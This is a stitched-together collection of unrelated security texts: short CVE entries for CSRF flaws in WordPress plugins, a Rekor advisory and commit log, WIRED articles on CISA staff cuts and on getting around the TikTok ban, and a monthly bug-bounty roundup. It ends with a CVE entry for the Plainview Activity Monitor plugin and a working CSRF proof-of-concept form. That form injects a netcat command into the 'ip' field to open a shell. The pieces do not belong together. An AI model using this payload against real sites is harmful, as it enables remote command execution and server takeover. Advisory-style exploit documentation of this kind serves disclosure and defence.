The HT Event WordPress plugin before 1.4.6 does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

CVE-2023-0496

The HT Politic WordPress plugin before 2.3.8 does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

CVE-2023-0504

The Ever Compare WordPress plugin through 1.2.3 does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

CVE-2023-0505

The Clock In Portal- Staff & Attendance Management WordPress plugin through 2.1 does not have CSRF check when deleting Holidays, which could allow attackers to make logged in admins delete arbitrary holidays via a CSRF attack

CVE-2023-0763

The Clock In Portal- Staff & Attendance Management WordPress plugin through 2.1 does not have CSRF check when deleting designations, which could allow attackers to make logged in admins delete arbitrary designations via a CSRF attack

CVE-2023-0762

Rekor's goals are to provide an immutable tamper resistant ledger of metadata generated within a software projects supply chain. A malformed proposed entry of the `intoto/v0.0.2` type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal. This has been fixed in v1.2.0 of Rekor. Users are advised to upgrade. There are no known workarounds for this vulnerability.

**Commit**

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Browse files

Browse the repository at this point in the history

\* fix for GHSA-frqx-jfcm-6jjr

Signed-off-by: Bob Callaway <bcallaway@google.com>

\* add defensive check

Signed-off-by: Bob Callaway <bcallaway@google.com>

\* add defensive check to dsse type

Signed-off-by: Bob Callaway <bcallaway@google.com>

\* be stricter for DSSE, add another defensive check

Signed-off-by: Bob Callaway <bcallaway@google.com>

---------

Signed-off-by: Bob Callaway <bcallaway@google.com>

*   Loading branch information

CVE-2023-33199: Merge pull request from GHSA-frqx-jfcm-6jjr · sigstore/rekor@140c5ad

Employees at the Cybersecurity and Infrastructure Security Agency tell WIRED they’re struggling to protect the US while the administration dismisses their colleagues and poisons their partnerships.

Mass layoffs and weak leadership are taking a severe toll on the US government’s cyber defense agency, undermining its ability to protect America from foreign adversaries bent on crippling infrastructure and ransomware gangs that are bleeding small businesses dry.

Inside the Cybersecurity and Infrastructure Security Agency, vital support staff are gone, international partnerships have been strained, and workers are afraid to discuss threats to democracy that they’re now prohibited from countering. Employees are even more overworked than usual, and new assignments from the administration are interfering with important tasks. Meanwhile, CISA’s temporary leader is doing everything she can to appease President Donald Trump, infuriating employees who say she’s out of touch and refusing to protect them.

“You've got a lot of people who … are looking over their shoulder as opposed to looking at the enemy right now,” says one CISA employee.

As the Trump administration’s war on the federal bureaucracy throws key agencies into chaos, CISA’s turmoil could have underappreciated consequences for national security and economic prospects. The agency, part of the Department of Homeland Security, has steadily built a reputation as a nonpartisan source of funding, guidance, and even direct defensive support for cities, businesses, and nonprofits reeling from cyberattacks. That mission is now under threat, according to interviews with seven CISA employees and another person familiar with the matter, all of whom requested anonymity to avoid reprisals.

“Our enemies are not slowing their continuous assaults on our systems,” says Suzanne Spaulding, who led CISA’s predecessor during the Obama administration. “We need all hands on deck and focused, not traumatized and distracted.”

**Talent Exodus**

CISA’s mission has grown significantly since its creation in 2018. Established mainly to defend government networks, the agency increasingly embraced new roles supporting private companies and state governments, advocating for secure software, and cooperating with foreign partners. This helped CISA raise its profile and gain credibility. But now, following several rounds of layoffs and new restrictions from the Trump administration, the agency is struggling to sustain its momentum.

The extent of the cuts at CISA is still unclear—employees are only learning about the loss of colleagues through word of mouth—but multiple employees estimate that, between the layoffs and the Office of Personnel Management’s deferred-resignation program, CISA has lost between 300 and 400 staffers—roughly 10 percent of its 3,200-person workforce. Many of those people were hired through DHS’s Cybersecurity Talent Management System (CTMS), a program designed to recruit experts by competing with private-sector salaries. As a result, they were classified as probationary employees for three years, making them vulnerable to layoffs. These layoffs at CISA also hit longtime government workers who had become probationary by transferring into CTMS roles.

Key employees who have left include Kelly Shaw, who oversaw one of CISA’s marquee programs, a voluntary threat-detection service for critical infrastructure operators; David Carroll, who led the Mission Engineering Division, the agency’s technological backbone; and Carroll’s technical director, Duncan McCaskill. “We've had a very large brain drain,” an employee says.

The departures have strained a workforce that was already stretched thin. “We were running into \[a\] critical skills shortage previously,” says a second employee. “Most people are and have been doing the work of two or more full-time \[staffers\].”

The CISA team that helps critical infrastructure operators respond to hacks has been understaffed for years. The agency added support positions for that team after a Government Accountability Office audit, but “most of those people got terminated,” a third employee says.

CISA’s flagship programs have been mostly unscathed so far. That includes the threat-hunting branch, which analyzes threats, searches government networks for intruders, and responds to breaches. But some of the laid-off staffers provided crucial “backend” support for threat hunters and other analysts. “There's enhancements that could be made to the tools that they're using,” the first employee says. But with fewer people developing those improvements, “we're going to start having antiquated systems.”

In a statement, DHS spokesperson Tricia McLaughlin says CISA remains “committed to the safety and security of the nation’s critical infrastructure” and touted “the critical skills that CISA experts bring to the fight every day.”

National Security Council spokesperson James Hewitt says the reporting in this story is “nonsense,” adding that “there have been no widespread layoffs at CISA and its mission remains fully intact.”

“We continue to strengthen cybersecurity partnerships, advance AI and open-source security, and protect election integrity,” Hewitt says. “Under President Trump’s leadership, our administration will make significant strides in enhancing national cybersecurity.”

**Partnership Problems**

CISA’s external partnerships—the cornerstone of its effort to understand and counter evolving threats—have been especially hard-hit.

International travel has been frozen, two employees say, with trips—and even online communications with foreign partners—requiring high-level approvals. That has hampered CISA’s collaboration with other cyber agencies, including those of “Five Eyes” allies Canada, Australia, New Zealand, and the UK, staffers say.

CISA employees can’t even communicate with people at other federal agencies the way they used to. Previously routine conversations between CISA staffers and high-level officials elsewhere now need special permissions, slowing down important work. “I can’t reach out to a CISO about an emergency situation without approval,” a fourth employee says.

Meanwhile, companies have expressed fears about sharing information with CISA and even using the agency’s free attack-monitoring services due to DOGE’s ransacking of agency computers, according to two employees. “There is advanced concern about all of our services that collect sensitive data,” the third employee says. “Partners \[are\] asking questions about what DOGE can get access to and expressing concern that their sensitive information is in their hands.”

“The wrecking of preestablished relationships will be something that will have long-lasting effects,” the fourth employee says.

CISA’s Joint Cyber Defense Collaborative, a high-profile hub of government-industry cooperation, is also struggling. The JCDC currently works with more than 300 private companies to exchange threat information, draft defensive playbooks, discuss geopolitical challenges, and publish advisories. The unit wants to add hundreds more partners, but it has “had difficulty scaling this,” the first employee says, and recent layoffs have only made things worse. Contractors might be able to help, but the JCDC’s “vendor support contracts run out in less than a year,” the employee says, and as processes across the government have been frozen or paused in recent weeks, CISA doesn’t know if it can pursue new agreements. The JCDC doesn't have enough federal workers to pick up the slack, the fourth CISA employee says.

With fewer staffers to manage its relationships, the JCDC confronts a perilous question: How should it focus its resources without jeopardizing important visibility into the threat landscape? Emphasizing ties with major companies might be more economical, but that would risk overlooking mid-sized firms whose technology is quietly essential to vital US industries.

“CISA continuously evaluates how it works with partners,” McLaughlin says, “and has taken decisive action to maximize impact while being good stewards of taxpayer dollars and aligning with Administration priorities and our authorities.”

**Gutting Security Advocacy**

Other parts of CISA’s mission have also begun to atrophy.

During the Biden administration, CISA vowed to help the tech industry understand and mitigate the risks of open-source software, which is often poorly maintained and has repeatedly been exploited by hackers. But since Trump took office, CISA has lost the three technical luminaries who oversaw that work: Jack Cable, Aeva Black, and Tim Pepper. Open-source security remains a major challenge, but CISA’s efforts to address that challenge are now rudderless.

The new administration has also frozen CISA’s work on artificial intelligence. The agency had been researching ways to use AI for vulnerability detection and networking monitoring, as well as partnering with the private sector to study AI risks. “About 50 percent of \[CISA’s\] AI expert headcount has been let go,” says a person familiar with the matter, which is “severely limiting” CISA’s ability to help the US Artificial Intelligence Safety Institute test AI models before deployment.

The administration also pushed out CISA’s chief AI officer, Lisa Einstein, and closed down her office, the person familiar with the matter says. Einstein’s team oversaw CISA’s use of AI and worked with private companies and foreign governments on AI security.

A large team of DHS and CISA AI staffers was set to accompany Vice President JD Vance to Paris in February for an AI summit, but those experts “were all pulled back” from attending, according to a person familiar with the matter.

**‘Nefarious’ Retribution**

CISA staffers are still reeling from the agency’s suspension of its election security program and the layoffs of most people who worked on that mission. The election security initiative, through which CISA provided free services and guidance to state and local officials and worked with tech companies to track online misinformation, became a target of right-wing conspiracy theories in 2020, which marked it for death after Trump’s return to the White House.

The program—on hold pending CISA’s review of a recently completed internal assessment—was a tiny part of CISA’s budget and operations, but the campaign against it has alarmed agency employees. “This is definitely in the freak-out zone,” says the first employee, who adds that CISA staffers across the political spectrum support the agency’s efforts to track online misinformation campaigns. “All of us recognize that this is a common deception tactic of the enemy.”

The election security purge rippled across the agency, because some of the laid-off staffers had moved from elections to other assignments or were simultaneously working on both missions. Geoff Hale, who led the elections team between 2018 and 2024, was serving as the chief of partnerships at the JCDC when he was placed on administrative leave, setting off a scramble to replace him.

The removal of Hale and his colleagues “was the start to a decline in morale” at CISA, according to the second employee. Now, staffers are afraid to discuss certain topics in public forums: “No one's going to talk about election security right now,” the first employee says.

“The fact that there’s retribution from the president … is kind of frightening,” this employee adds. “A very nefarious place to be.”

**Abandoned and Demoralized**

The layoffs, operational changes, and other disruptions at CISA have severely depleted morale and undermined the agency’s effectiveness. “Even simple tasks feel hard to accomplish because you don't know if your teammates won't be here tomorrow,” says the fourth employee.

The biggest source of stress and frustration is acting CISA director Bridget Bean, a former Trump appointee who, employees say, appears eager to please the president even if it means not defending her agency. Bean “just takes whatever comes down and implements \[it\] without thought of how it will affect \[CISA’s\] mission,” the fifth employee says. Employees describe her as a poor leader and ineffective communicator who has zealously enacted Trump’s agenda. In town-hall meetings with employees, Bean has said CISA must carefully review its its authorities and urged staffers to “assume noble intent” when dealing with Trump officials. While discussing Elon Musk’s mass-buyout program, she allegedly said, “I like to say ‘Fork in the Road’ because it's kind of fun,.” according to the fourth employee. She was so eager to comply with Musk’s “What did you do last week?” email that she instructed staffers to respond to it before DHS had finalized its department-wide approach. DHS later told staff not to respond, and Bean had to walk back her directive.

“Bean feels like she's against the workforce just to please the current administration,” the second employee says. The fourth employee describes her as “not authentic, tone-deaf, spineless, \[and\] devoid of leadership.”

McLaughlin, the DHS spokesperson, says CISA “is not interested in ad hominem attacks against its leadership,” which she says “has doubled down on openness and transparency with the workforce.”

The return-to-office mandate has also caused problems. With all employees on-site, there isn’t enough room in CISA’s offices for the contractors who support the agency’s staff. That has made it “very difficult” to collaborate on projects and hold technical discussions, according to the first employee. “There wasn’t much thought about \[RTO’s\] impact to operations,” says the fourth employee. According to a fifth employee, “executing some of our sensitive operations is now harder.” (“CISA has worked tirelessly to make the return to office as smooth as possible from space to technology,” McLaughlin says.)

Employees are dealing with other stressors, too. They have no idea who’s reading their Musk-mandated performance reports, how they’re being evaluated, or whether AI is analyzing them for future layoffs. And there’s a lot of new paperwork. “The amount of extra shit we have to do to comply with the ‘efficiency measures’ … \[takes\] a lot of time away from doing our job,” says the fifth employee.

**Bracing for More**

When Trump signed the bill creating CISA in November 2018, he said the agency’s workforce would be “on the front lines of our cyber defense” and “make us, I think, much more effective.” Six and a half years later, many CISA employees see Trump as the biggest thing holding them back.

“This administration has declared psychological warfare on this workforce,” the fourth employee says.

With CISA drawing up plans for even larger cuts, staffers know the chaos is far from over.

“A lot of people are scared,” says the first employee. “We’re waiting for that other shoe to drop. We don't know what's coming.”

Entire wings of CISA—like National Risk Management Center and the Stakeholder Engagement Division—could be on the chopping block. Even in offices that survive, some of the government’s most talented cyber experts—people who chose public service over huge sums of money and craved the lifestyle of CISA’s now-eliminated remote-work environment—are starting to see their employment calculus differently. Some of them will likely leave for stabler jobs, further jeopardizing CISA’s mission. “What is the organization going to be capable of doing in the future?” the first employee asks.

If Trump’s confrontational foreign-policy strategy escalates tensions with Russia, China, Iran, or North Korea, it’s likely those nations could step up their use of cyberattacks to exact revenge. In that environment, warns Nitin Natarajan, CISA’s deputy director during the Biden administration, weakening the agency could prove very dangerous.

“Cuts to CISA’s cyber mission,” Natarajan says, “will only negatively impact our ability to not only protect federal government networks, but those around the nation that Americans depend on every day.”

‘People Are Scared’: Inside CISA as It Reels From Trump’s Purge

New web targets for the discerning hacker

New web targets for the discerning hacker

  

As 2022 draws to a close, HackerOne has revealed that cloud-based vulnerabilities became increasingly common this year as organizations embark on digital transformation.

The bug bounty platform reported that researchers uncovered more than 65,000 software vulnerabilities through its service during the year, up 21% on 2021.

Misconfiguration vulnerabilities also rose 150% and improper authorization issues by 45% – largely because organizations are instituting ever-more granular permissions as they migrate to the cloud.

Intel recently paid out a $10,000 bug bounty to Julien Ahrens of RCE Security – despite disputing the seriousness of the flaw.

Ahrens bypassed Intel Data Center Manager (DCM) authentication by spoofing Kerberos and LDAP (Lightweight Directory Access Protocol) responses, claiming this led to remote code execution (RCE).

Intel acknowledged the vulnerability and gave it a severity score of 8.8, but says the issue amounted only to a privilege elevation flaw. It was persuaded to make the payout anyway as a one-off.

Meanwhile, a security researcher known by the moniker Peter M demonstrated this month how he bypassed Akamai web application firewalls (WAF) running Spring Boot, potentially leading to remote code execution (RCE).

He says it took 500 crafted attempts and over 14 hours to find an entry point as part of a private Bugcrowd program.

The attack, carried out with the assistance of Synack pentester Usman Mansha, used Spring Expression Language (SpEL) injection.

Read more of the latest bug bounty news

In other bug bounty news, Intigriti says it has paid out nearly three times as much this year compared to last, with the average amount having doubled.

It says ethical hackers increasingly see bug bounty hunting as a full-time career, with 96% saying they’d like to spend more time on it. The biggest draw is the money, along with the ability to work anywhere in the world, the ability to work alone, and the chance to outsmart cybercriminals.

And Meta’s review of its own bug bounty program this year has revealed that it paid out more than $2 million, receiving around 10,000 reports in total, of which it paid out on 750.

Meta also released updated payout guidelines for mobile RCE bugs, and there are new payout guidelines for account takeover (ATO) and two-factor authentication (2FA) bypass vulnerabilities, too. These go up to $130,000 for ATO reports and $300,000 for mobile RCE bugs.

Finally, bug bounty and security services platform for web3 Immunefi says it has paid out just under $66 million this year, with the biggest bounty amounting to $10 million for a vulnerability discovered in Wormhole, a generic cross-chain messaging protocol.

Critical vulnerabilities took the lead with a total of $61 million paid out, accounting for 92.7% of all bounties paid.

**The latest bug bounty programs for January 2023**

The past month saw the arrival of several new bug bounty programs. Here’s a list of the latest entries:

**Axis Communications**

Program provider:  
Bugcrowd

Program type:  
Public

Max reward:  
TBC

Outline:  
Video surveillance vendor Axis Communications has launched a bug bounty program to find vulnerabilities in its network security products, excluding its 2N products.

Notes:  
Axis Communications has yet to release details of payment rewards for finding such bugs, but has released details of how these bugs are scored using the CVSS method.

Check out the Axis Communications bug bounty page for more details

**Contentsquare**

Program provider:   
YesWeHack  

Program type: Public

Max reward: €2,500 ($2,670)

Outline: UX analytics provider Contentsquare has launched a bug bounty program focussed on finding issues with its mobile software development kit and collection endpoints, details of which are listed on its bug bounty page.

Notes: Contentsquare asks ethical hackers to consult the list of in-scope topics beforehand, as the targets are specific.

Check out the Contentsquare bug bounty page for more details

**Doppler**

Program provider:  
HackerOne

Program type: Public

Max reward: $2,500

Outline: Doppler bills itself as a “SecretOps platform developers and security teams trust to provide secrets management at enterprise scale”.

Notes: Again, there are multiple domains to explore plus Doppler’s source code. There are also five domains that are out of scope for testing.

Check out the Doppler bug bounty page for more details

**Engel & Völkers Technology GmbH**

Program provider:  
HackerOne

Program type: Public

Max reward: $1,000

Outline: IT consulting firm Engel & Völkers Technology GmbH has opened its domains to testing by bug bounty hunters.

Notes: There are more than 10 domains available to attack, ranging from critical to medium severity. There are also a handful of domains that are out of scope and shouldn’t be tested.

Check out the Engel & Völkers Technology GmbH bug bounty page for more details

**Harman International**

Program provider:  
YesWeHack

Program type: Public

Max reward: $5,000

Outline: Electronics manufacturer Harman, a Samsung company, is asking for help with “hardening of the entire ecosystem” related to JBL devices.

Notes: There are 16 targets in scope including physical devices, web APIS, and applications, so there’s something for everyone to get stuck into.

Check out the Harman International bug bounty page for more details

**Moonpay**

Program provider:  
HackerOne

Program type: Public

Max reward: $20,000

Outline: Crypto exchange platform Moonpay is offering big rewards for security vulnerabilities in multiple domains and its source code.

Notes: There are four domains out of scope, so these should be checked before proceeding. Moonpay also details an extensive list of vulnerabilities that aren’t eligible for reward, so this should be checked, too.

Check out the Moonpay bug bounty page for more details

**Navitas**

Program provider:  
Bugcrowd

Program type:  
Private

Max reward:  
$2,500

Outline:  
Australian education provider Navitas is offering rewards for reproducible bugs in its services, with rewards based on the severity of the issue.

Notes:  
Although the company is based in Australia, the rewards are open to ethical hackers worldwide, on an invite basis.

Check out a press release regarding the Navitas bug bounty program for more details

**OVO**

Program provider:  
YesWeHack

Program type:  
Public

Max reward:  
$3,000

Outline:  
Indonesian payment, rewards and financial services platform is asking hackers to find bugs in four of its mobile and web apps, providing plenty of opportunity to seek a reward.

Notes:  
OVO has explicitly noted that staging environments are out of scope, as are any other targets that aren’t specifically listed on its bug bounty page.

Check out the OVO bug bounty page for more details

**Swapcard**

Program provider:  
YesWeHack

Program type:  
Public

Max reward:  
€2,000 ($2,140)

Outline:  
Swapcard describes itself as an event app and matchmaking platform powered by artificial intelligence, which holds events in the sectors of security, government, and health.

Notes:  
There is an extensive list of applications and APIs that can be targeted, so this is worth checking out before making a start. Also note that Swapcard states that reports with a detailed proof of concept will be rewarded at a quicker rate, if eligible, than those without.

Check out the Swapcard bug bounty page for more details

**VFS**

Program provider:  
YesWeHack

Program type:  
Public

Max reward:  
$1,500

Outline:  
VFS manages the administrative and non-judgmental tasks related to visa, passport and consular services for its client governments.

Notes:  
The maximum reward is for vulnerabilities deemed as ‘critical’. Examples include, but aren’t limited to, the leaking of visa applicant personally identifiable information, Insecure Direct Object References (IDOR) issues resulting in significant leak of sensitive user information, and scripts that can automate the completion of the user registration flow.

Check out the VFS bug bounty page for more details

**Yuga Labs**

Program provider:  
HackerOne

Program type:  
Public

Max reward:  
$25,000

Outline:  
Yuga Labs is offering an impressive $25,000 for the discovery of critical vulnerabilities in its web3 platform.

Notes:  
The company is asking for reports on bugs in not only its domains but its Discord servers too. Anyone wanting to attack the Discord servers should check out the separate policy on Yuga Labs’ bug bounty page first.

Check out the Yuga Labs bug bounty page for more details

PREVIOUS EDITION Bug Bounty Radar // The latest bug bounty programs for December 2022

Bug Bounty Radar // The latest bug bounty programs for January 2023

TikTok is now unavailable in the United States—and getting around the ban isn’t as simple as using a VPN. Here’s what you need to know.

After an opaque and uncertain saga, TikTok went dark on millions of phones across the United States on Saturday evening around 10:30 pm EST. Google Play and Apple’s App Store both pulled the app late Saturday as well. If it was already installed prior to Saturday evening, the app is still there on your phone, but launching it only reveals a pop-up warning about the ban. As the deadline loomed, TikTok users had been bracing for the change and flooding other platforms, including the Chinese social app Xiaohongshu or “RedNote.” But if you’re not quite ready to give up the latest skin-care hacks, budgeting tips, and pet tortoise influencers, there are some options for circumventing the ban and continuing to use the platform.

“Sorry, TikTok isn’t available right now,” the app alert reads. “A law banning TikTok has been enacted in the U.S. Unfortunately, that means you can’t use TikTok for now. We are fortunate that President Trump has indicated that he will work with us on a solution to reinstate TikTok once he takes office. Please stay tuned!” Other ByteDance-owned apps, including CapCut and Lemon8, also disappeared from US app stores.

Such a ban has never existed in the US before, so the technical methods being employed to implement it are still evolving, and circumvention techniques may need to change as well. The law driving the situation, the Protecting Americans From Foreign Adversary Controlled Applications Act (PAFACA), doesn’t make it illegal to have TikTok on your phone. And, notably, it also doesn’t say that TikTok itself has to stop the app from working in the US.

Nonetheless, the company said in the days before the law took effect that it planned to make the app inaccessible to US users—a level of cooperation and accommodation that the outgoing Biden White House called a “stunt” on Saturday afternoon. Even if TikTok itself had obligations under the law, the Biden White House had signaled that it did not plan to enforce the ban before Trump took office on Monday.

Rather than putting the pressure on TikTok, PAFACA requires app stores and cloud hosting services to stop doing anything to “distribute, maintain or update” TikTok. That puts the pressure on Apple and Google to stop new users from downloading TikTok, as well as infrastructure providers like Oracle to keep new content or software updates from reaching the app’s users. Over time, TikTok would likely degrade and become unusable.

Officials in India banned TikTok in 2020, and the company also proactively blacked out the app in that case. When Indian users who already had the app installed tried to launch it, a pop-up appeared telling them that they couldn’t access the service.

Devashish Gosain, a network analysis researcher and assistant professor at the Indian Institute of Technology Bombay, says that in India, TikTok users must remove their Indian SIM card from their phone or use an international SIM card and then run a VPN in order to load content in the app.

“Even VPNs do not lead to circumvention” in India, Gosain told WIRED.

In the early hours of the US ban, it was unclear exactly how feasible it would be to get around the restrictions for US accounts. It seemed that TikTok had taken a more extreme approach, turning any US builds of the app dark—blacking out versions of the TikTok app software that had been made to be downloaded and used by US users. It also seemed that US-linked accounts were being blocked regardless of IP address or SIM country information.

Running a VPN alone was certainly not enough to circumvent the ban and get back on TikTok. But seemingly using a non-US TikTok account after removing a SIM (or on a device without a US SIM card/US phone number) worked when combined with a VPN. Similarly, using a VPN with a desktop browser or the Tor Browser was enough to get a non-US TikTok account to load in the US early on Sunday morning, though TikTok’s desktop version has always been much more limited than its mobile app.

“TikTok inspects the source IP of the network packets—if the source IP belongs to India, it drops the packets,” Gosain explains, of the restrictions in India. “Also, the TikTok app fetches the country information embedded in the SIM card, and if the country code is ‘IN,’ it filters the network connection. When we remove the SIM card, the TikTok app fails to identify Indian users from the SIM card, and when we use VPNs, the IP address changes, and it no longer belongs to the Indian IP range. Thus, TikTok again fails to identify that the user is accessing from India. This is how we bypass the filtering.”

Virtual private networks, or VPNs, work by passing your internet traffic through servers that are physically maintained in locations around the world, so you can select an IP address that is tied to a different location than where you physically are. For example, American TikTok users can use VPNs to make it look like they are accessing the internet from outside the US. VPNs also stop your internet service provider (ISPs) from seeing your browsing data, adding an extra potential layer of privacy. When you’re using a VPN, your ISP will simply see connections to the VPN instead of having access to the detailed list of all the websites you’re visiting.

As a result of these capabilities, VPNs are frequently used in attempts to get around digital geolocation restrictions, like those on Netflix or other streaming platforms. They’re also an important, and familiar, tool for circumventing internet censorship programs for people living under authoritarian regimes like those in Russia, China, and Iran.

Using a VPN comes with caveats, though. Some commercial VPNs log people’s browsing history, which essentially just shifts data collection from ISPs to VPN makers. This means that the data isn’t more protected, and that law enforcement could request it from a VPN provider in the same way that they make requests to ISPs. As a result, picking a free VPN is generally not a good idea—with some even selling access to your home internet connections. But some VPNs publish no-logging policies and offer third-party audits and other transparency features in an attempt to show their compliance.

For now, it seems that TikTok’s efforts to block US users are extremely draconian, and even a non-US SIM card or no SIM card plus a VPN may not be a workable path to getting back on the app with a US TikTok account. But the restrictions may only be temporary anyway. In practice, there seems to be little appetite for a permanent ban in the US. And, in spite of originating the idea, President Trump has said in recent days that he doesn’t want the app to be banned.

“My decision on TikTok will be made in the not too distant future, but I must have time to review the situation,” Trump said in a Truth Social post on Friday. “Stay tuned!”

How to Get Around the US TikTok Ban

The Plainview Activity Monitor plugin before 20180826 for WordPress is vulnerable to OS command injection via shell metacharacters in the ip parameter of a wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools request.

<html>
      
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
          <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
          <input type="hidden" name="lookup" value="Lookup" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

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